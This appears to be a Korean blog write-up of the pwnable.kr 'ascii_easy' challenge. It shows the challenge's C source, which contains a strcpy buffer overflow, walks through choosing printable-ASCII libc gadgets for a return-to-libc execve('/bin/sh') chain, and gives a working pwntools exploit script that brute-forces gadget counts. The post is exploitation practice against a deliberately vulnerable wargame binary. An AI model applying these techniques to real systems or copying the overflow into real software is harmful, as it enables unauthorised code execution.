ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [ Rookiss ] Ascii_easy
    System/Pwnable.kr 2019. 4. 5. 18:45

    'Printable-ascii-only' Exploit payload

    출력가능한 ASCII문자범위(0x21~0x7F)내에서 Payload를 작성해야 한다.

     

    [ Ascii_easy@pwnable.kr ]

    ascii_easy : 문제 바이너리

    ascii_easy.c : 바이너리 소스파일

    libc-2.15.so : 바이너리에 로드되는 라이브러리

    intended_solution.txt : 문제를 풀면 확인할 수 있는 출제자가 의도한 풀이방법

     

    [ Ascii_easy.c ]

    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>
    
    #define BASE ((void*)0x5555e000)
    
    int is_ascii(int c){
        if(c>=0x20 && c<=0x7f) return 1;
        return 0;
    }
    void vuln(char* p){
        char buf[20];
        strcpy(buf, p);
    }
    void main(int argc, char* argv[]){
        if(argc!=2){
            printf("usage: ascii_easy [ascii input]\n");
            return;
        }
        size_t len_file;
        struct stat st;
        int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
        if( fstat(fd,&st) < 0){
            printf("open error. tell admin!\n");
            return;
        }
        len_file = st.st_size;
        if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
            printf("mmap error!. tell admin\n");
            return;
        }
        int i;
        for(i=0; i<strlen(argv[1]); i++){
            if( !is_ascii(argv[1][i]) ){
                printf("you have non-ascii byte!\n");
                return;
            }
        }
        printf("triggering bug...\n");
        vuln(argv[1]);
    }

    문제에서 바이너리의 소스코드를 제공해준다. 

    [#define BASE 0x5555E000]로 Base주소를 정의하고, libc-2.15.so를 mmap으로 Base주소에 맵핑하는걸 볼 수 있다.

    맵핑된 주소에는 rwx(7)권한이 적용되어 있기 때문에, 해당 라이브러리로 RTL(Return-to-Libc) Payload를 짜면 될 것같다.


    [ How to Exploit? ]

    우선 Payload를 Printable한 Ascii범위로 구성해야 한다.

    따라서, 함수나 가젯의 주소를 Ascii범위안에 들어가는 것들로 잘 맞춰서 Payload를 짜줘야 한다.

    (이게 제일 빡세다..)

    Library파일이라서 가젯은 엄청 많은데, 거기서 사용할 수 있는건 몇 안되기 때문에 가젯찾는게 정말 힘들었다.

     

    [ System Addr ]

     우선 System( )의 주소에 [0xCE], [0xD0]이 Ascii범위를 벗어나기 떄문에 사용이 불가능했다.

    또한, [call system( )] 해주는 Instruction도 없기 때문에 System('/bin/sh")로 Exploit하는건 불가능하다.

     

    [ execve Addr ]

    그 다음 생각해볼 수 있는 함수는 execve( )를 이용하는 방법이다.

    하지만, execve( ) 주소에도 [0xE0]이 포함되어 있기 때문에 바로 사용하는건 불가능하다.

    execve( )는 가장 Low한 단계의 함수이기 때문에, execve( )를 호출하는 함수들이 많을 것이다.

     

    [ Call execve ]

    빨간박스 중 Ascii범위내에 들어오는 주소는 총 4개가 있다.

    나는 4개 중 [0xB876A]를 사용했다.

     

    [ 0xB876A ]

    이 주소를 사용한 이유는 다른 주소들 보다 첫번째 인자를 채워주기 수월했기 때문이다.

    [ Call execve ]하기 전에 eax의 값을 [ESP]에 할당해주는 코드가 있기 때문에,

    우리가 따로 ESP를 Push하고 Inc로 첫번째 인자까지 카운팅해주고 이런 복잡한 작업을 하지 않아도 된다.

     

    [ Payload Scenario ]

    execve의 인자셋팅은 [&"/bin/sh\x00",NULL,NULL]로 채워주면 된다.

    NULL값이 저장되어 있는 주소는 libc-2.15.so에 많기 때문에 크게 신경쓰지 않아도 된다.

    문제는 EAX에 "/bin/sh\x00"의 주소값을 넘겨주는 것인데, 이건 stycpy( )의 반환값을 이용하면 된다.

     

    [ Strcpy( ) 반환값 ]

    strcpy( )가 실행되고 난 후의 Register상황을 보자

    ECX에는 Source_PTR의 주소. 즉, 우리가 입력한 argv[1]의 시작주소가 저장된다.

    EDX에는 Destination_PTR의 주소. 즉, Input이 저장된 시작주소가 저장된다.

     

    이 점을 이용해서 우리는 [mov EAX, ECX][mov EAX, EDX] 가젯을 이용해서

    EAX에 "/bin/sh"\x00"의 주소값을 저장해주면 된다.

    나는 [mov EAX, ECX]를 이용해서 Payload를 구성했다.

     

    [ Payload ]

    from pwn import *
    
    dec_ecx = p32(0x556e5840)
    mov_eax_ecx = p32(0x556a6253)
    execve = p32(0x55616767)
    NULL_PTR = p32(0x556f315c)
    
    count = 4
    for i in range(0x00,0xff,1):
    	print count+i
    	payload = "A"*32+dec_ecx * (count+i) + mov_eax_ecx + execve + NULL_PTR*(2+i) + "/bin/sh\x00"
    	print payload
    	p = process(["fake",payload],executable="./ascii_easy")
    	p.interactive()	

    Payload를 짜면서 좀 헤맸는데, ECX로 반환되는 포인터가 Local이랑 Server에서 다르고,

    GDB로 확인했을 때랑 또 달라서 어쩔 수 없이 BruteForce를 사용했다.

    그리고 Local에서는 [inc ecx]로 포인터를 앞으로 당겨줘야 했는데,

    Server에서는 [dec ecx]로 포인터를 뒤로 밀어줘야 했다...

     

    [ Payload 설명 ]

    - [ dec ecx ]가젯을 1개씩 늘려주면서 마지막에 입력한 "/bin/sh\x00"의 주소를 가리킬 때 까지 반복문을 돌려준다.

    두번째와 세번째 인자에 들어가는 NULL_PTR도 GDB랑 다르게 들어가길래 이 또한 2개씩 늘려주는 식으로 했다.

     

    [ Exploit ]

    서버에서는 [dec ecx]를 총 7번 해줘야 ECX가 "/bin/sh\x00"을 가리키게 되면서 쉘이 실행된다.

     

    'System > Pwnable.kr' 카테고리의 다른 글

    [ Rookiss ] Alloca  (1) 2019.03.24
    [ Toddler's Bottle ] asm  (4) 2019.03.09
    [ Rookiss ] otp  (1) 2019.03.06
    [ Rookiss ] Simple Login  (2) 2019.01.17
    [ Rookiss ] loveletter  (0) 2018.08.26

    댓글

Designed by Tistory.